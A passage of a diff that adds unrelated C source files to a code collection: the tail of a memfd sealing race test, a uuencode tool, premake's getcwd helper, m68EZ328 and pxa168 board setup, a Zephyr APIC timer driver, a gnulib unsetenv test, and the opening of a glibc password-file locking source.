+
+	/* mmap memfd-object for writing */
+	p = mfd_assert_mmap_shared(mfd);
+
+	/* pass mfd+mapping to a separate sealing-thread which tries to seal
+	 * the memfd objects with SEAL_WRITE while we write into it */
+	global_mfd = mfd;
+	global_p = p;
+	pid = spawn_sealing_thread();
+
+	/* Use read() on the FUSE file to read into our memory-mapped memfd
+	 * object. This races the other thread which tries to seal the
+	 * memfd-object.
+	 * If @fd is on the memfd-fake-FUSE-FS, the read() is delayed by 1s.
+	 * This guarantees that the receive-buffer is pinned for 1s until the
+	 * data is written into it. The racing ADD_SEALS should thus fail as
+	 * the pages are still pinned. */
+	r = read(fd, p, MFD_DEF_SIZE);
+	if (r < 0) {
+		printf("read() failed: %m\n");
+		abort();
+	} else if (!r) {
+		printf("unexpected EOF on read()\n");
+		abort();
+	}
+
+	was_sealed = mfd_assert_get_seals(mfd) & F_SEAL_WRITE;
+
+	/* Wait for sealing-thread to finish and verify that it
+	 * successfully sealed the file after the second try. */
+	join_sealing_thread(pid);
+	mfd_assert_has_seals(mfd, F_SEAL_WRITE);
+
+	/* *IF* the memfd-object was sealed at the time our read() returned,
+	 * then the kernel did a page-replacement or canceled the read() (or
+	 * whatever magic it did..). In that case, the memfd object is still
+	 * all zero.
+	 * In case the memfd-object was *not* sealed, the read() was successfull
+	 * and the memfd object must *not* be all zero.
+	 * Note that in real scenarios, there might be a mixture of both, but
+	 * in this test-cases, we have explicit 200ms delays which should be
+	 * enough to avoid any in-flight writes. */
+
+	p = mfd_assert_mmap_private(mfd);
+	if (was_sealed && memcmp(p, zero, MFD_DEF_SIZE)) {
+		printf("memfd sealed during read() but data not discarded\n");
+		abort();
+	} else if (!was_sealed && !memcmp(p, zero, MFD_DEF_SIZE)) {
+		printf("memfd sealed after read() but data discarded\n");
+		abort();
+	}
+
+	close(mfd);
+	close(fd);
+
+	printf("fuse: DONE\n");
+
+	return 0;
+}
diff --git a/pool/shard001/C/0022136_uuencode.c b/pool/shard001/C/0022136_uuencode.c
new file mode 100644
index 0000000000000000000000000000000000000000..b5317205f5c4f37fa686d8b74b0a51d36e03cd16
--- /dev/null
+++ b/pool/shard001/C/0022136_uuencode.c
@@ -0,0 +1,129 @@
+/* See LICENSE file for copyright and license details. */
+#include <sys/stat.h>
+
+#include <stdio.h>
+#include <string.h>
+
+#include "util.h"
+
+static unsigned int
+b64e(unsigned char *b)
+{
+	unsigned int o, p = b[2] | (b[1] << 8) | (b[0] << 16);
+	const char b64et[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
+
+	o = b64et[p & 0x3f]; p >>= 6;
+	o = (o << 8) | b64et[p & 0x3f]; p >>= 6;
+	o = (o << 8) | b64et[p & 0x3f]; p >>= 6;
+	o = (o << 8) | b64et[p & 0x3f];
+
+	return o;
+}
+
+static void
+uuencodeb64(FILE *fp, const char *name, const char *s)
+{
+	struct stat st;
+	ssize_t n, m = 0;
+	unsigned char buf[45], *pb;
+	unsigned int out[sizeof(buf)/3 + 1], *po;
+
+	if (fstat(fileno(fp), &st) < 0)
+		eprintf("fstat %s:", s);
+	printf("begin-base64 %o %s\n", st.st_mode & 0777, name);
+	/* write line by line */
+	while ((n = fread(buf, 1, sizeof(buf), fp))) {
+		/* clear old buffer if converting with non-multiple of 3 */
+		if (n != sizeof(buf) && (m = n % 3) != 0) {
+			buf[n] = '\0'; /* m == 2 */
+			if (m == 1) buf[n+1] = '\0'; /* m == 1 */
+		}
+		for (pb = buf, po = out; pb < buf + n; pb += 3)
+			*po++ = b64e(pb);
+		if (m != 0) {
+			unsigned int mask = 0xffffffff, dest = 0x3d3d3d3d;
+			/* m==2 -> 0x00ffffff; m==1 -> 0x0000ffff */
+			mask >>= ((3-m) << 3);
+			po[-1] = (po[-1] & mask) | (dest & ~mask);
+		}
+		*po++ = '\n';
+		fwrite(out, 1, (po - out) * sizeof(unsigned int) - 3, stdout);
+	}
+	if (ferror(fp))
+		eprintf("'%s' read error:", s);
+	puts("====");
+}
+
+static void
+uuencode(FILE *fp, const char *name, const char *s)
+{
+	struct stat st;
+	unsigned char buf[45], *p;
+	ssize_t n;
+	int ch;
+
+	if (fstat(fileno(fp), &st) < 0)
+		eprintf("fstat %s:", s);
+	printf("begin %o %s\n", st.st_mode & 0777, name);
+	while ((n = fread(buf, 1, sizeof(buf), fp))) {
+		ch = ' ' + (n & 0x3f);
+		putchar(ch == ' ' ? '`' : ch);
+		for (p = buf; n > 0; n -= 3, p += 3) {
+			if (n < 3) {
+				p[2] = '\0';
+				if (n < 2)
+					p[1] = '\0';
+			}
+			ch = ' ' + ((p[0] >> 2) & 0x3f);
+			putchar(ch == ' ' ? '`' : ch);
+			ch = ' ' + (((p[0] << 4) | ((p[1] >> 4) & 0xf)) & 0x3f);
+			putchar(ch == ' ' ? '`' : ch);
+			ch = ' ' + (((p[1] << 2) | ((p[2] >> 6) & 0x3)) & 0x3f);
+			putchar(ch == ' ' ? '`' : ch);
+			ch = ' ' + (p[2] & 0x3f);
+			putchar(ch == ' ' ? '`' : ch);
+		}
+		putchar('\n');
+	}
+	if (ferror(fp))
+		eprintf("'%s' read error:", s);
+	printf("%c\nend\n", '`');
+}
+
+static void
+usage(void)
+{
+	eprintf("usage: %s [-m] [file] name\n", argv0);
+}
+
+int
+main(int argc, char *argv[])
+{
+	FILE *fp = NULL;
+	void (*uuencode_f)(FILE *, const char *, const char *) = uuencode;
+	int ret = 0;
+
+	ARGBEGIN {
+	case 'm':
+		uuencode_f = uuencodeb64;
+		break;
+	default:
+		usage();
+	} ARGEND
+
+	if (!argc || argc > 2)
+		usage();
+
+	if (argc == 1 || !strcmp(argv[0], "-")) {
+		uuencode_f(stdin, argv[0], "<stdin>");
+	} else {
+		if (!(fp = fopen(argv[0], "r")))
+			eprintf("fopen %s:", argv[0]);
+		uuencode_f(fp, argv[1], argv[0]);
+	}
+
+	ret |= fp && fshut(fp, argv[0]);
+	ret |= fshut(stdin, "<stdin>") | fshut(stdout, "<stdout>");
+
+	return ret;
+}
diff --git a/pool/shard001/C/0022138_os_getcwd.c b/pool/shard001/C/0022138_os_getcwd.c
new file mode 100644
index 0000000000000000000000000000000000000000..3262865b3aeea3280b006af00643b84dcaf394a4
--- /dev/null
+++ b/pool/shard001/C/0022138_os_getcwd.c
@@ -0,0 +1,36 @@
+/**
+ * \file   os_getcwd.c
+ * \brief  Retrieve the current working directory.
+ * \author Copyright (c) 2002-2008 Jason Perkins and the Premake project
+ */
+
+#include "premake.h"
+
+int os_getcwd(lua_State* L)
+{
+	char buffer[0x4000];
+	if (do_getcwd(buffer, 0x4000)) {
+		lua_pushstring(L, buffer);
+		return 1;
+	}
+	else {
+		return 0;
+	}
+}
+
+
+int do_getcwd(char* buffer, size_t size)
+{
+	int result;
+
+#if PLATFORM_WINDOWS
+	result = (GetCurrentDirectoryA(size, buffer) != 0);
+	if (result) {
+		do_translate(buffer, '/');
+	}
+#else
+	result = (getcwd(buffer, size) != 0);
+#endif
+
+	return result;
+}
diff --git a/pool/shard001/C/0022143_m68EZ328.c b/pool/shard001/C/0022143_m68EZ328.c
new file mode 100644
index 0000000000000000000000000000000000000000..e6ab321f93f832e9b9e070f8da4aa00f856b82d5
--- /dev/null
+++ b/pool/shard001/C/0022143_m68EZ328.c
@@ -0,0 +1,77 @@
+/***************************************************************************/
+
+/*
+ *  m68EZ328.c - 68EZ328 specific config
+ *
+ *  Copyright (C) 1993 Hamish Macdonald
+ *  Copyright (C) 1999 D. Jeff Dionne
+ *
+ * This file is subject to the terms and conditions of the GNU General Public
+ * License.  See the file COPYING in the main directory of this archive
+ * for more details.
+ */
+
+/***************************************************************************/
+
+#include <linux/init.h>
+#include <linux/types.h>
+#include <linux/kernel.h>
+#include <linux/rtc.h>
+#include <asm/pgtable.h>
+#include <asm/machdep.h>
+#include <asm/MC68EZ328.h>
+#ifdef CONFIG_UCSIMM
+#include <asm/bootstd.h>
+#endif
+
+/***************************************************************************/
+
+int m68328_hwclk(int set, struct rtc_time *t);
+
+/***************************************************************************/
+
+void m68ez328_reset(void)
+{
+  local_irq_disable();
+  asm volatile (
+    "moveal #0x10c00000, %a0;\n"
+    "moveb #0, 0xFFFFF300;\n"
+    "moveal 0(%a0), %sp;\n"
+    "moveal 4(%a0), %a0;\n"
+    "jmp (%a0);\n"
+    );
+}
+
+/***************************************************************************/
+
+unsigned char *cs8900a_hwaddr;
+static int errno;
+
+#ifdef CONFIG_UCSIMM
+_bsc0(char *, getserialnum)
+_bsc1(unsigned char *, gethwaddr, int, a)
+_bsc1(char *, getbenv, char *, a)
+#endif
+
+void __init config_BSP(char *command, int len)
+{
+  unsigned char *p;
+
+  printk(KERN_INFO "\n68EZ328 DragonBallEZ support (C) 1999 Rt-Control, Inc\n");
+
+#ifdef CONFIG_UCSIMM
+  printk(KERN_INFO "uCsimm serial string [%s]\n",getserialnum());
+  p = cs8900a_hwaddr = gethwaddr(0);
+  printk(KERN_INFO "uCsimm hwaddr %pM\n", p);
+
+  p = getbenv("APPEND");
+  if (p) strcpy(p,command);
+  else command[0] = 0;
+#endif
+
+  mach_sched_init = hw_timer_init;
+  mach_hwclk = m68328_hwclk;
+  mach_reset = m68ez328_reset;
+}
+
+/***************************************************************************/
diff --git a/pool/shard001/C/0022146_apic_timer.c b/pool/shard001/C/0022146_apic_timer.c
new file mode 100644
index 0000000000000000000000000000000000000000..9a803f2d4262d63e90a5c3b157af52e4494750d9
--- /dev/null
+++ b/pool/shard001/C/0022146_apic_timer.c
@@ -0,0 +1,242 @@
+/*
+ * Copyright (c) 2019 Intel Corporation
+ * SPDX-License-Identifier: Apache-2.0
+ */
+
+#include <drivers/timer/system_timer.h>
+#include <sys_clock.h>
+#include <spinlock.h>
+#include <drivers/interrupt_controller/loapic.h>
+
+BUILD_ASSERT(!IS_ENABLED(CONFIG_SMP), "APIC timer doesn't support SMP");
+
+/*
+ * Overview:
+ *
+ * This driver enables the local APIC as the Zephyr system timer. It supports
+ * both legacy ("tickful") mode as well as TICKLESS_KERNEL. The driver will
+ * work with any APIC that has the ARAT "always running APIC timer" feature
+ * (CPUID 0x06, EAX bit 2); for the more accurate sys_clock_cycle_get_32(),
+ * the invariant TSC feature (CPUID 0x80000007: EDX bit 8) is also required.
+ * (Ultimately systems with invariant TSCs should use a TSC-based driver,
+ * and the TSC-related parts should be stripped from this implementation.)
+ *
+ * Configuration:
+ *
+ * CONFIG_APIC_TIMER=y			enables this timer driver.
+ * CONFIG_APIC_TIMER_IRQ=<irq>		which IRQ to configure for the timer.
+ * CONFIG_APIC_TIMER_IRQ_PRIORITY=<p>	priority for IRQ_CONNECT()
+ *
+ * CONFIG_SYS_CLOCK_HW_CYCLES_PER_SEC=<hz> must contain the frequency seen
+ *     by the local APIC timer block (before it gets to the timer divider).
+ *
+ * CONFIG_APIC_TIMER_TSC=y enables the more accurate TSC-based cycle counter
+ *     for sys_clock_cycle_get_32(). This also requires the next options be set.
+ *
+ * CONFIG_APIC_TIMER_TSC_N=<n>
+ * CONFIG_APIC_TIMER_TSC_M=<m>
+ *     When CONFIG_APIC_TIMER_TSC=y, these are set to indicate the ratio of
+ *     the TSC frequency to CONFIG_SYS_CLOCK_HW_CYCLES_PER_SEC. This can be
+ *     found via CPUID 0x15 (n = EBX, m = EAX) on most CPUs.
+ */
+
+/* These should be merged into include/drivers/interrupt_controller/loapic.h. */
+
+#define DCR_DIVIDER_MASK	0x0000000F	/* divider bits */
+#define DCR_DIVIDER		0x0000000B	/* divide by 1 */
+#define LVT_MODE_MASK		0x00060000	/* timer mode bits */
+#define LVT_MODE		0x00000000	/* one-shot */
+
+/*
+ * CYCLES_PER_TICK must always be at least '2', otherwise MAX_TICKS
+ * will overflow int32_t, which is how 'ticks' are currently represented.
+ */
+
+#define CYCLES_PER_TICK \
+	(CONFIG_SYS_CLOCK_HW_CYCLES_PER_SEC / CONFIG_SYS_CLOCK_TICKS_PER_SEC)
+
+BUILD_ASSERT(CYCLES_PER_TICK >= 2, "APIC timer: bad CYCLES_PER_TICK");
+
+/* max number of ticks we can load into the timer in one shot */
+
+#define MAX_TICKS (0xFFFFFFFFU / CYCLES_PER_TICK)
+
+/*
+ * The spinlock protects all access to the local APIC timer registers,
+ * as well as 'total_cycles', 'last_announcement', and 'cached_icr'.
+ *
+ * One important invariant that must be observed: `total_cycles` + `cached_icr`
+ * is always an integral multiple of CYCLE_PER_TICK; this is, timer interrupts
+ * are only ever scheduled to occur at tick boundaries.
+ */
+
+static struct k_spinlock lock;
+static uint64_t total_cycles;
+static uint32_t cached_icr = CYCLES_PER_TICK;
+
+#ifdef CONFIG_TICKLESS_KERNEL
+
+static uint64_t last_announcement;	/* last time we called sys_clock_announce() */
+
+void sys_clock_set_timeout(int32_t n, bool idle)
+{
+	ARG_UNUSED(idle);
+
+	uint32_t ccr;
+	int   full_ticks;	/* number of complete ticks we'll wait */
+	uint32_t full_cycles;	/* full_ticks represented as cycles */
+	uint32_t partial_cycles;	/* number of cycles to first tick boundary */
+
+	if (n < 1) {
+		full_ticks = 0;
+	} else if ((n == K_TICKS_FOREVER) || (n > MAX_TICKS)) {
+		full_ticks = MAX_TICKS - 1;
+	} else {
+		full_ticks = n - 1;
+	}
+
+	full_cycles = full_ticks * CYCLES_PER_TICK;
+
+	/*
+	 * There's a wee race condition here. The timer may expire while
+	 * we're busy reprogramming it; an interrupt will be queued at the
+	 * local APIC and the ISR will be called too early, roughly right
+	 * after we unlock, and not because the count we just programmed has
+	 * counted down. Luckily this situation is easy to detect, which is
+	 * why the ISR actually checks to be sure the CCR is 0 before acting.
+	 */
+
+	k_spinlock_key_t key = k_spin_lock(&lock);
+
+	ccr = x86_read_loapic(LOAPIC_TIMER_CCR);
+	total_cycles += (cached_icr - ccr);
+	partial_cycles = CYCLES_PER_TICK - (total_cycles % CYCLES_PER_TICK);
+	cached_icr = full_cycles + partial_cycles;
+	x86_write_loapic(LOAPIC_TIMER_ICR, cached_icr);
+
+	k_spin_unlock(&lock, key);
+}
+
+uint32_t sys_clock_elapsed(void)
+{
+	uint32_t ccr;
+	uint32_t ticks;
+
+	k_spinlock_key_t key = k_spin_lock(&lock);
+	ccr = x86_read_loapic(LOAPIC_TIMER_CCR);
+	ticks = total_cycles - last_announcement;
+	ticks += cached_icr - ccr;
+	k_spin_unlock(&lock, key);
+	ticks /= CYCLES_PER_TICK;
+
+	return ticks;
+}
+
+static void isr(const void *arg)
+{
+	ARG_UNUSED(arg);
+
+	uint32_t cycles;
+	int32_t ticks;
+
+	k_spinlock_key_t key = k_spin_lock(&lock);
+
+	/*
+	 * If we get here and the CCR isn't zero, then this interrupt is
+	 * stale: it was queued while sys_clock_set_timeout() was setting
+	 * a new counter. Just ignore it. See above for more info.
+	 */
+
+	if (x86_read_loapic(LOAPIC_TIMER_CCR) != 0) {
+		k_spin_unlock(&lock, key);
+		return;
+	}
+
+	/* Restart the timer as early as possible to minimize drift... */
+	x86_write_loapic(LOAPIC_TIMER_ICR, MAX_TICKS * CYCLES_PER_TICK);
+
+	cycles = cached_icr;
+	cached_icr = MAX_TICKS * CYCLES_PER_TICK;
+	total_cycles += cycles;
+	ticks = (total_cycles - last_announcement) / CYCLES_PER_TICK;
+	last_announcement = total_cycles;
+	k_spin_unlock(&lock, key);
+	sys_clock_announce(ticks);
+}
+
+#else
+
+static void isr(const void *arg)
+{
+	ARG_UNUSED(arg);
+
+	k_spinlock_key_t key = k_spin_lock(&lock);
+	total_cycles += CYCLES_PER_TICK;
+	x86_write_loapic(LOAPIC_TIMER_ICR, cached_icr);
+	k_spin_unlock(&lock, key);
+
+	sys_clock_announce(1);
+}
+
+uint32_t sys_clock_elapsed(void)
+{
+	return 0U;
+}
+
+#endif /* CONFIG_TICKLESS_KERNEL */
+
+#ifdef CONFIG_APIC_TIMER_TSC
+
+uint32_t sys_clock_cycle_get_32(void)
+{
+	uint64_t tsc = z_tsc_read();
+	uint32_t cycles;
+
+	cycles = (tsc * CONFIG_APIC_TIMER_TSC_M) / CONFIG_APIC_TIMER_TSC_N;
+	return cycles;
+}
+
+#else
+
+uint32_t sys_clock_cycle_get_32(void)
+{
+	uint32_t ret;
+	uint32_t ccr;
+
+	k_spinlock_key_t key = k_spin_lock(&lock);
+	ccr = x86_read_loapic(LOAPIC_TIMER_CCR);
+	ret = total_cycles + (cached_icr - ccr);
+	k_spin_unlock(&lock, key);
+
+	return ret;
+}
+
+#endif
+
+int sys_clock_driver_init(const struct device *dev)
+{
+	uint32_t val;
+
+	ARG_UNUSED(dev);
+
+	val = x86_read_loapic(LOAPIC_TIMER_CONFIG);	/* set divider */
+	val &= ~DCR_DIVIDER_MASK;
+	val |= DCR_DIVIDER;
+	x86_write_loapic(LOAPIC_TIMER_CONFIG, val);
+
+	val = x86_read_loapic(LOAPIC_TIMER);		/* set timer mode */
+	val &= ~LVT_MODE_MASK;
+	val |= LVT_MODE;
+	x86_write_loapic(LOAPIC_TIMER, val);
+
+	/* remember, wiring up the interrupt will mess with the LVT, too */
+
+	IRQ_CONNECT(CONFIG_APIC_TIMER_IRQ,
+		CONFIG_APIC_TIMER_IRQ_PRIORITY,
+		isr, 0, 0);
+
+	x86_write_loapic(LOAPIC_TIMER_ICR, cached_icr);
+	irq_enable(CONFIG_APIC_TIMER_IRQ);
+
+	return 0;
+}
diff --git a/pool/shard001/C/0022157_pxa168.c b/pool/shard001/C/0022157_pxa168.c
new file mode 100644
index 0000000000000000000000000000000000000000..13f23867a86ad3733f6258708893a2c2f9c2022f
--- /dev/null
+++ b/pool/shard001/C/0022157_pxa168.c
@@ -0,0 +1,221 @@
+/*
+ *  linux/arch/arm/mach-mmp/pxa168.c
+ *
+ *  Code specific to PXA168
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/list.h>
+#include <linux/io.h>
+#include <linux/clk.h>
+
+#include <asm/mach/time.h>
+#include <mach/addr-map.h>
+#include <mach/cputype.h>
+#include <mach/regs-apbc.h>
+#include <mach/regs-apmu.h>
+#include <mach/irqs.h>
+#include <mach/gpio-pxa.h>
+#include <mach/dma.h>
+#include <mach/devices.h>
+#include <mach/mfp.h>
+#include <linux/platform_device.h>
+#include <linux/dma-mapping.h>
+#include <mach/pxa168.h>
+
+#include "common.h"
+#include "clock.h"
+
+#define MFPR_VIRT_BASE	(APB_VIRT_BASE + 0x1e000)
+
+static struct mfp_addr_map pxa168_mfp_addr_map[] __initdata =
+{
+	MFP_ADDR_X(GPIO0,   GPIO36,  0x04c),
+	MFP_ADDR_X(GPIO37,  GPIO55,  0x000),
+	MFP_ADDR_X(GPIO56,  GPIO123, 0x0e0),
+	MFP_ADDR_X(GPIO124, GPIO127, 0x0f4),
+
+	MFP_ADDR_END,
+};
+
+#define APMASK(i)	(GPIO_REGS_VIRT + BANK_OFF(i) + 0x09c)
+
+static void __init pxa168_init_gpio(void)
+{
+	int i;
+
+	/* enable GPIO clock */
+	__raw_writel(APBC_APBCLK | APBC_FNCLK, APBC_PXA168_GPIO);
+
+	/* unmask GPIO edge detection for all 4 banks - APMASKx */
+	for (i = 0; i < 4; i++)
+		__raw_writel(0xffffffff, APMASK(i));
+
+	pxa_init_gpio(IRQ_PXA168_GPIOX, 0, 127, NULL);
+}
+
+void __init pxa168_init_irq(void)
+{
+	icu_init_irq();
+	pxa168_init_gpio();
+}
+
+/* APB peripheral clocks */
+static APBC_CLK(uart1, PXA168_UART1, 1, 14745600);
+static APBC_CLK(uart2, PXA168_UART2, 1, 14745600);
+static APBC_CLK(uart3, PXA168_UART3, 1, 14745600);
+static APBC_CLK(twsi0, PXA168_TWSI0, 1, 33000000);
+static APBC_CLK(twsi1, PXA168_TWSI1, 1, 33000000);
+static APBC_CLK(pwm1, PXA168_PWM1, 1, 13000000);
+static APBC_CLK(pwm2, PXA168_PWM2, 1, 13000000);
+static APBC_CLK(pwm3, PXA168_PWM3, 1, 13000000);
+static APBC_CLK(pwm4, PXA168_PWM4, 1, 13000000);
+static APBC_CLK(ssp1, PXA168_SSP1, 4, 0);
+static APBC_CLK(ssp2, PXA168_SSP2, 4, 0);
+static APBC_CLK(ssp3, PXA168_SSP3, 4, 0);
+static APBC_CLK(ssp4, PXA168_SSP4, 4, 0);
+static APBC_CLK(ssp5, PXA168_SSP5, 4, 0);
+static APBC_CLK(keypad, PXA168_KPC, 0, 32000);
+
+static APMU_CLK(nand, NAND, 0x19b, 156000000);
+static APMU_CLK(lcd, LCD, 0x7f, 312000000);
+static APMU_CLK(eth, ETH, 0x09, 0);
+static APMU_CLK(usb, USB, 0x12, 0);
+
+/* device and clock bindings */
+static struct clk_lookup pxa168_clkregs[] = {
+	INIT_CLKREG(&clk_uart1, "pxa2xx-uart.0", NULL),
+	INIT_CLKREG(&clk_uart2, "pxa2xx-uart.1", NULL),
+	INIT_CLKREG(&clk_uart3, "pxa2xx-uart.2", NULL),
+	INIT_CLKREG(&clk_twsi0, "pxa2xx-i2c.0", NULL),
+	INIT_CLKREG(&clk_twsi1, "pxa2xx-i2c.1", NULL),
+	INIT_CLKREG(&clk_pwm1, "pxa168-pwm.0", NULL),
+	INIT_CLKREG(&clk_pwm2, "pxa168-pwm.1", NULL),
+	INIT_CLKREG(&clk_pwm3, "pxa168-pwm.2", NULL),
+	INIT_CLKREG(&clk_pwm4, "pxa168-pwm.3", NULL),
+	INIT_CLKREG(&clk_ssp1, "pxa168-ssp.0", NULL),
+	INIT_CLKREG(&clk_ssp2, "pxa168-ssp.1", NULL),
+	INIT_CLKREG(&clk_ssp3, "pxa168-ssp.2", NULL),
+	INIT_CLKREG(&clk_ssp4, "pxa168-ssp.3", NULL),
+	INIT_CLKREG(&clk_ssp5, "pxa168-ssp.4", NULL),
+	INIT_CLKREG(&clk_nand, "pxa3xx-nand", NULL),
+	INIT_CLKREG(&clk_lcd, "pxa168-fb", NULL),
+	INIT_CLKREG(&clk_keypad, "pxa27x-keypad", NULL),
+	INIT_CLKREG(&clk_eth, "pxa168-eth", "MFUCLK"),
+	INIT_CLKREG(&clk_usb, "pxa168-ehci", "PXA168-USBCLK"),
+};
+
+static int __init pxa168_init(void)
+{
+	if (cpu_is_pxa168()) {
+		mfp_init_base(MFPR_VIRT_BASE);
+		mfp_init_addr(pxa168_mfp_addr_map);
+		pxa_init_dma(IRQ_PXA168_DMA_INT0, 32);
+		clkdev_add_table(ARRAY_AND_SIZE(pxa168_clkregs));
+	}
+
+	return 0;
+}
+postcore_initcall(pxa168_init);
+
+/* system timer - clock enabled, 3.25MHz */
+#define TIMER_CLK_RST	(APBC_APBCLK | APBC_FNCLK | APBC_FNCLKSEL(3))
+
+static void __init pxa168_timer_init(void)
+{
+	/* this is early, we have to initialize the CCU registers by
+	 * ourselves instead of using clk_* API. Clock rate is defined
+	 * by APBC_TIMERS_CLK_RST (3.25MHz) and enabled free-running
+	 */
+	__raw_writel(APBC_APBCLK | APBC_RST, APBC_PXA168_TIMERS);
+
+	/* 3.25MHz, bus/functional clock enabled, release reset */
+	__raw_writel(TIMER_CLK_RST, APBC_PXA168_TIMERS);
+
+	timer_init(IRQ_PXA168_TIMER1);
+}
+
+struct sys_timer pxa168_timer = {
+	.init	= pxa168_timer_init,
+};
+
+void pxa168_clear_keypad_wakeup(void)
+{
+	uint32_t val;
+	uint32_t mask = APMU_PXA168_KP_WAKE_CLR;
+
+	/* wake event clear is needed in order to clear keypad interrupt */
+	val = __raw_readl(APMU_WAKE_CLR);
+	__raw_writel(val |  mask, APMU_WAKE_CLR);
+}
+
+/* on-chip devices */
+PXA168_DEVICE(uart1, "pxa2xx-uart", 0, UART1, 0xd4017000, 0x30, 21, 22);
+PXA168_DEVICE(uart2, "pxa2xx-uart", 1, UART2, 0xd4018000, 0x30, 23, 24);
+PXA168_DEVICE(uart3, "pxa2xx-uart", 2, UART3, 0xd4026000, 0x30, 23, 24);
+PXA168_DEVICE(twsi0, "pxa2xx-i2c", 0, TWSI0, 0xd4011000, 0x28);
+PXA168_DEVICE(twsi1, "pxa2xx-i2c", 1, TWSI1, 0xd4025000, 0x28);
+PXA168_DEVICE(pwm1, "pxa168-pwm", 0, NONE, 0xd401a000, 0x10);
+PXA168_DEVICE(pwm2, "pxa168-pwm", 1, NONE, 0xd401a400, 0x10);
+PXA168_DEVICE(pwm3, "pxa168-pwm", 2, NONE, 0xd401a800, 0x10);
+PXA168_DEVICE(pwm4, "pxa168-pwm", 3, NONE, 0xd401ac00, 0x10);
+PXA168_DEVICE(nand, "pxa3xx-nand", -1, NAND, 0xd4283000, 0x80, 97, 99);
+PXA168_DEVICE(ssp1, "pxa168-ssp", 0, SSP1, 0xd401b000, 0x40, 52, 53);
+PXA168_DEVICE(ssp2, "pxa168-ssp", 1, SSP2, 0xd401c000, 0x40, 54, 55);
+PXA168_DEVICE(ssp3, "pxa168-ssp", 2, SSP3, 0xd401f000, 0x40, 56, 57);
+PXA168_DEVICE(ssp4, "pxa168-ssp", 3, SSP4, 0xd4020000, 0x40, 58, 59);
+PXA168_DEVICE(ssp5, "pxa168-ssp", 4, SSP5, 0xd4021000, 0x40, 60, 61);
+PXA168_DEVICE(fb, "pxa168-fb", -1, LCD, 0xd420b000, 0x1c8);
+PXA168_DEVICE(keypad, "pxa27x-keypad", -1, KEYPAD, 0xd4012000, 0x4c);
+PXA168_DEVICE(eth, "pxa168-eth", -1, MFU, 0xc0800000, 0x0fff);
+
+struct resource pxa168_usb_host_resources[] = {
+	/* USB Host conroller register base */
+	[0] = {
+		.start	= 0xd4209000,
+		.end	= 0xd4209000 + 0x200,
+		.flags	= IORESOURCE_MEM,
+		.name	= "pxa168-usb-host",
+	},
+	/* USB PHY register base */
+	[1] = {
+		.start	= 0xd4206000,
+		.end	= 0xd4206000 + 0xff,
+		.flags	= IORESOURCE_MEM,
+		.name	= "pxa168-usb-phy",
+	},
+	[2] = {
+		.start	= IRQ_PXA168_USB2,
+		.end	= IRQ_PXA168_USB2,
+		.flags	= IORESOURCE_IRQ,
+	},
+};
+
+static u64 pxa168_usb_host_dmamask = DMA_BIT_MASK(32);
+struct platform_device pxa168_device_usb_host = {
+	.name = "pxa168-ehci",
+	.id   = -1,
+	.dev  = {
+		.dma_mask = &pxa168_usb_host_dmamask,
+		.coherent_dma_mask = DMA_BIT_MASK(32),
+	},
+
+	.num_resources = ARRAY_SIZE(pxa168_usb_host_resources),
+	.resource      = pxa168_usb_host_resources,
+};
+
+int __init pxa168_add_usb_host(struct pxa168_usb_pdata *pdata)
+{
+	pxa168_device_usb_host.dev.platform_data = pdata;
+	return platform_device_register(&pxa168_device_usb_host);
+}
+
+void pxa168_restart(char mode, const char *cmd)
+{
+	soft_restart(0xffff0000);
+}
diff --git a/pool/shard001/C/0022163_test-unsetenv.c b/pool/shard001/C/0022163_test-unsetenv.c
new file mode 100644
index 0000000000000000000000000000000000000000..235e1858fd94dc0104f931c724cae5a5184f7780
--- /dev/null
+++ b/pool/shard001/C/0022163_test-unsetenv.c
@@ -0,0 +1,61 @@
+/* Tests of unsetenv.
+   Copyright (C) 2009-2015 Free Software Foundation, Inc.
+
+   This program is free software: you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 3 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program.  If not, see <http://www.gnu.org/licenses/>.  */
+
+/* Written by Eric Blake <ebb9@byu.net>, 2009.  */
+
+#include <config.h>
+
+#include <stdlib.h>
+
+#include "signature.h"
+SIGNATURE_CHECK (unsetenv, int, (char const *));
+
+#include <errno.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "macros.h"
+
+int
+main (void)
+{
+  char entry[] = "b=2";
+
+  /* Test removal when multiple entries present.  */
+  ASSERT (putenv ((char *) "a=1") == 0);
+  ASSERT (putenv (entry) == 0);
+  entry[0] = 'a'; /* Unspecified what getenv("a") would be at this point.  */
+  ASSERT (unsetenv ("a") == 0); /* Both entries will be removed.  */
+  ASSERT (getenv ("a") == NULL);
+  ASSERT (unsetenv ("a") == 0);
+
+  /* Required to fail with EINVAL.  */
+  errno = 0;
+  ASSERT (unsetenv ("") == -1);
+  ASSERT (errno == EINVAL);
+  errno = 0;
+  ASSERT (unsetenv ("a=b") == -1);
+  ASSERT (errno == EINVAL);
+#if 0
+  /* glibc and gnulib's implementation guarantee this, but POSIX no
+     longer requires it: http://austingroupbugs.net/view.php?id=185  */
+  errno = 0;
+  ASSERT (unsetenv (NULL) == -1);
+  ASSERT (errno == EINVAL);
+#endif
+
+  return 0;
+}
diff --git a/pool/shard001/C/0022194_lckpwdf.c b/pool/shard001/C/0022194_lckpwdf.c
new file mode 100644
index 0000000000000000000000000000000000000000..0b0fb471b5eaa1010dcbad68115c69f40a4f0eca
--- /dev/null
+++ b/pool/shard001/C/0022194_lckpwdf.c
@@ -0,0 +1,195 @@
+/* vi: set sw=4 ts=4: */
+/* Handle locking of password file.
+   Copyright (C) 1996,98,2000,02 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Ulrich Drepper <drepper@cygnus.com>, 1996.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
